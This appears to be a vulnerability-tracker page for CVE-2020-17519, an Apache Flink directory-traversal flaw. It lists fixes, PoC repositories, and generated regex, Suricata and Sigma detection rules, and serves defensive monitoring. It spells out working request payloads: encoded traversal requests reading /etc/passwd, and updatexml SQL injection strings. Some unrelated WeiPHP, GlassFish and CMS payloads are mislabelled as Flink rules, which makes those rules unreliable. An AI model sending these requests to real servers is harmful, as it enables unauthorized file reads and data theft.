PoC Monitor
← All CVEs
CVE-2020-17519published 5 Jan 2021 11:40 UTCData: JSON · API

Apache Software Foundation Apache Flink

Apache Flink directory traversal attack: reading remote files through the REST API

A change introduced in Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process. Access is restricted to files accessible by the JobManager process. All users should upgrade to Flink 1.11.3 or 1.12.0 if their Flink instance(s) are exposed. The issue was fixed in commit b561010b0ee741543c3953306037f00d7a9f0801 from apache/flink:master.

First public PoC 15 hafter publication · 6 Jan 2021
Public PoCs1613 on GitHub · 3 Exploit-DB, Metasploit or nuclei · +1 suspicious, not counted
CVSS9.1critical · scored by CISA ADP · CWE-552
CISA KEV 23 May 20243.4 years after publication

Affected versions and mitigation

From the CVE record, GitHub Security Advisories and the vendor's references.

Affected

org.apache.flink:flink-runtime_2.11 (Maven)
  • >= 1.11.0, < 1.11.3

Fixed in 1.11.3

from GitHub Security Advisory GHSA-395w-qhqr-9fr6

org.apache.flink:flink-runtime_2.12 (Maven)
  • >= 1.11.0, < 1.11.3

Fixed in 1.11.3

from GitHub Security Advisory GHSA-395w-qhqr-9fr6

Mitigation

Upgrade org.apache.flink:flink-runtime_2.11 to 1.11.3 or later.

Upgrade org.apache.flink:flink-runtime_2.12 to 1.11.3 or later.

Timeline

Days relative to CVE publication
t=0+180+360+540+720+900+1080CVE published5 Jan 2021 · t = 0First public PoC6 Jan 2021 · t+15hAdded to CISA KEV23 May 2024 · t+3.4y

First public PoC 15 h after publication; added to CISA KEV 3.4 years after publication. First PoC: B1anda0/CVE-2020-17519 (created 6 Jan 2021, found by us: backfilled).

PoC repositories

Found on GitHub.

13 PoCs · 1 pending · 1 informational · 1 not a PoC · 2 suspicious or fake

PoCs 13
RepositoryCreatedStarsAssessment
B1anda0/CVE-2020-17519 6 Jan 2021 +15 h 46 PoC
QmF0c3UK/CVE-2020-17519 6 Jan 2021 +1.1 d 1 PoC
dolevf/apache-flink-directory-traversal.nse 6 Jan 2021 +1.2 d 3 Scanner
dev-team-12x/CVE-2020-17519 8 Jan 2021 +2.8 d 0 PoC
hoanx4/CVE-2020-17519 8 Jan 2021 +2.8 d 0 PoC
murataydemir/CVE-2020-17519 10 Jan 2021 +4.6 d 8 PoC via PoC Index
radbsie/CVE-2020-17519-Exp 14 Jan 2021 +9 d 0 PoC
yaunsky/CVE-2020-17519-Apache-Flink 18 Jan 2021 +13 d 1 PoC
MrCl0wnLab/SimplesApachePathTraversal 13 Oct 2021 +281 d 61 Scanner
zhangweijie11/CVE-2020-17519 8 Mar 2022 +1.2 y 0 PoC
GazettEl/CVE-2020-17519 2 Mar 2025 +4.2 y 0 PoC
NaiLuo003/poc 3 Jul 2026 +5.5 y 0 PoC via PoC Index
CyberCTF/vulhub-flink-cve-2020-17519 8 Oct 2026 +5.8 y 0 PoC
Pending 1
RepositoryCreatedStarsAssessment
trhacknon/CVE-2020-17519 unknown 0 Pending · repository unavailable (HTTP 404)
Informational 1
RepositoryCreatedStarsAssessment
givemefivw/CVE-2020-17519 13 Apr 2021 +98 d 1 Informational · write-up
Not a PoC 1
RepositoryCreatedStarsAssessment
murataydemir/CVE-2020-17518 10 Jan 2021 +4.6 d 3 Not a PoC · unrelated
Suspicious or fake 2
RepositoryCreatedStarsAssessment
Osyanina/westone-CVE-2020-17519-scanner 25 Feb 2021 +51 d 0 Suspicious · score 50
Why suspicious
  • README asks to download a release/binary/archive
  • owner account created less than 30 days before the repo
shoucheng3/apache__flink_CVE-2020-17519_1-11-2 20 Aug 2025 +4.6 y 0 Fake

Only PoCs count toward the first-PoC date and the characteristics below. Suspicious repositories (score ≥ 50) never count. Do not run PoC code from unknown sources.

Other public exploits

Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.

PoC characteristics

What to hunt for in your logs · from 13 PoC repos

GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

Key headers
Accept: */* Accept-Language: en
Content-Type
application/x-www-form-urlencoded
Ports
80, 443, 8080, 8081
PoC User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Seen in
6 repos: B1anda0/CVE-2020-17519, MrCl0wnLab/SimplesApachePathTraversal, dolevf/apache-flink-directory-traversal.nse, murataydemir/CVE-2020-17519, yaunsky/CVE-2020-17519-Apache-Flink, zhangweijie11/CVE-2020-17519
Evidence
B1anda0/CVE-2020-17519/CVE-2020-17519.py:27 MrCl0wnLab/SimplesApachePathTraversal/README.md:163 MrCl0wnLab/SimplesApachePathTraversal/main.py:128 dolevf/apache-flink-directory-traversal.nse/apache-flink-traversal.nse:44 dolevf/apache-flink-directory-traversal.nse/apache-flink-traversal.nse:48 murataydemir/CVE-2020-17519/README.md:35

POST /public/index.php/home/credit_follow/lists/pbid/0

Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cache-Control: no-cache Cookie: Pragma: no-cache Upgrade-Insecure-Requests: 1
Body markers
nickname=' AND updatexml(1,concat(0x7e,md5('1'),0x7e),1) AND ' in application/x-www-form-urlencoded
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0
Seen in
1 repo: NaiLuo003/poc
Evidence
NaiLuo003/poc/Frame/WeiPHP/WeiPHP 5_0 searchUser() 存在SQL 注入漏洞/raw.txt:1 NaiLuo003/poc/core/demo2/raw.txt:1

POST /public/index.php/material/Material/_download_imgage

Body markers
media_id=1 picUrl=../config/session.php in application/x-www-form-urlencoded
Seen in
1 repo: NaiLuo003/poc
Evidence
NaiLuo003/poc/Frame/WeiPHP/WeiPHP5_0 _download_imgage 前台文件任意读取 CNVD-2020-68596/raw.txt:1

GET /index.php

Query
s=api/goods_detail goods_id=1 and updatexml(1,concat(0x7e,database(),0x7e),1) s=apigoods/get_goods_detail id=1 and updatexml(1,concat(0x7e,md5(1),0x7e),1)
Seen in
1 repo: NaiLuo003/poc
Evidence
NaiLuo003/poc/CMS/狮子鱼cms/狮子鱼CMS ApiController.class.php SQL注入漏洞/main.py:24 NaiLuo003/poc/CMS/狮子鱼cms/狮子鱼CMS ApigoodController.class.php SQL注入漏洞/main.py:25

GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{var}

Content-Type
application/x-www-form-urlencoded
Ports
1081, 8080
Seen in
1 repo: QmF0c3UK/CVE-2020-17519
Evidence
QmF0c3UK/CVE-2020-17519/CVE-2020-17519.py:51

GET /jobmanager/logs/{var}{var}

Ports
8081
Seen in
1 repo: GazettEl/CVE-2020-17519
Evidence
GazettEl/CVE-2020-17519/CVE-2020-17519.py:61

GET /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

Seen in
1 repo: NaiLuo003/poc
Evidence
NaiLuo003/poc/中间件/GlassFish/GlassFish 任意文件读取漏洞/main.py:38

GET /cgi-bin/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

Content-Type
application/x-www-form-urlencoded
PoC User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0
Seen in
1 repo: MrCl0wnLab/SimplesApachePathTraversal
Evidence
MrCl0wnLab/SimplesApachePathTraversal/README.md:164

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
(?i)^/jobmanager/logs/\.\.%252f\.\.%252f\.\.%252f\.\.%252f\.\.%252f\.\.%252f\.\.%252f\.\.%252f\.\.%252f\.\.%252f\.\.%252f\.\.%252fetc%252fpasswd(?:[?#].*)?$
POST /public/index.php/home/credit_follow/lists/pbid/0
(?i)^/public/index\.php/home/credit_follow/lists/pbid/0(?:[?#].*)?$
POST /public/index.php/material/Material/_download_imgage
(?i)^/public/index\.php/material/Material/_download_imgage(?:[?#].*)?$
GET /config
(?i)^/config(?:[?#].*)?$
GET /index.php
(?i)^/index\.php\?(?:.*&)?s=api/goods_detail.*goods_id=1 and updatexml\(1,concat\(0x7e,database\(\),0x7e\),1\).*s=apigoods/get_goods_detail.*id=1 and updatexml\(1,concat\(0x7e,md5\(1\),0x7e\),1\)

Suricata

Template generated from PoC characteristics. Review before deploying.

GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
alert http any any -> $HOME_NET [80,443,8080,8081] (msg:"GG PoC-Monitor CVE-2020-17519 Apache Software Foundation Apache Flink exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"; http.header; content:"Accept: */*"; nocase; http.header; content:"Accept-Language: en"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2020-17519; classtype:web-application-attack; sid:9269492; rev:1;)
POST /public/index.php/home/credit_follow/lists/pbid/0
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2020-17519 Apache Software Foundation Apache Flink exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/public/index.php/home/credit_follow/lists/pbid/0"; http.header; content:"Accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,image/avif,image/webp,image/apng,*/*|3b|q=0.8,application/signed-exchange|3b|v=b3|3b|q=0.7"; nocase; http.header; content:"Accept-Language: zh-CN,zh|3b|q=0.9,en|3b|q=0.8,en-GB|3b|q=0.7,en-US|3b|q=0.6"; nocase; http.header; content:"Cache-Control: no-cache"; nocase; http.header_names; content:"Cookie"; nocase; http.header; content:"Pragma: no-cache"; nocase; http.header; content:"Upgrade-Insecure-Requests: 1"; nocase; http.request_body; content:"nickname=' AND updatexml(1,concat(0x7e,md5('1'),0x7e),1) AND '"; reference:url,poc.griffinguard.io/cve/CVE-2020-17519; classtype:web-application-attack; sid:9709328; rev:1;)
POST /public/index.php/material/Material/_download_imgage
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2020-17519 Apache Software Foundation Apache Flink exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/public/index.php/material/Material/_download_imgage"; http.request_body; content:"media_id=1"; http.request_body; content:"picUrl=../config/session.php"; reference:url,poc.griffinguard.io/cve/CVE-2020-17519; classtype:web-application-attack; sid:9280166; rev:1;)
GET /config
alert http any any -> $HOME_NET [8081] (msg:"GG PoC-Monitor CVE-2020-17519 Apache Software Foundation Apache Flink exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/config"; reference:url,poc.griffinguard.io/cve/CVE-2020-17519; classtype:web-application-attack; sid:9598473; rev:1;)
GET /index.php
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2020-17519 Apache Software Foundation Apache Flink exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/index.php"; http.uri; content:"s=api/goods_detail"; http.uri; content:"goods_id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)"; http.uri; content:"s=apigoods/get_goods_detail"; http.uri; content:"id=1 and updatexml(1,concat(0x7e,md5(1),0x7e),1)"; reference:url,poc.griffinguard.io/cve/CVE-2020-17519; classtype:web-application-attack; sid:9080279; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
title: Apache Software Foundation Apache Flink exploit attempt (CVE-2020-17519)
id: gg-pocmon-cve-2020-17519-9269492
status: experimental
description: Request pattern taken from public PoCs for CVE-2020-17519. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2020-17519
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2020.17519
POST /public/index.php/home/credit_follow/lists/pbid/0
title: Apache Software Foundation Apache Flink exploit attempt (CVE-2020-17519)
id: gg-pocmon-cve-2020-17519-9709328
status: experimental
description: Request pattern taken from public PoCs for CVE-2020-17519. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2020-17519
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/public/index.php/home/credit_follow/lists/pbid/0'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2020.17519
POST /public/index.php/material/Material/_download_imgage
title: Apache Software Foundation Apache Flink exploit attempt (CVE-2020-17519)
id: gg-pocmon-cve-2020-17519-9280166
status: experimental
description: Request pattern taken from public PoCs for CVE-2020-17519. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2020-17519
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/public/index.php/material/Material/_download_imgage'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2020.17519
GET /config
title: Apache Software Foundation Apache Flink exploit attempt (CVE-2020-17519)
id: gg-pocmon-cve-2020-17519-9598473
status: experimental
description: Request pattern taken from public PoCs for CVE-2020-17519. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2020-17519
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/config'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2020.17519
GET /index.php
title: Apache Software Foundation Apache Flink exploit attempt (CVE-2020-17519)
id: gg-pocmon-cve-2020-17519-9080279
status: experimental
description: Request pattern taken from public PoCs for CVE-2020-17519. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2020-17519
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/index.php'
    cs-uri-query|contains|all:
      - 's=api/goods_detail'
      - 'goods_id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)'
      - 's=apigoods/get_goods_detail'
      - 'id=1 and updatexml(1,concat(0x7e,md5(1),0x7e),1)'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2020.17519